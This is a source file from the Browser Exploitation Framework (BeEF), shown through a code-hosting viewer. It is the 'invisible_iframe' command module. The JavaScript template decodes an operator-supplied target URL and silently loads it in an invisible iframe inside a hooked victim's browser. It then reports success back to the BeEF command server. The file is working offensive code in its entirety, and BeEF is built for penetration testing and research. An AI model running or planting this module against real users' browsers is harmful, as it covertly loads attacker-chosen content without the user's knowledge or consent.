Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/invisible_iframe/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var target = decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@target) %>'));
10
var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
11
iframe_<%= @command_id %>.setAttribute('src', target);
12
13
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=IFrame created');
14
15
});
16
17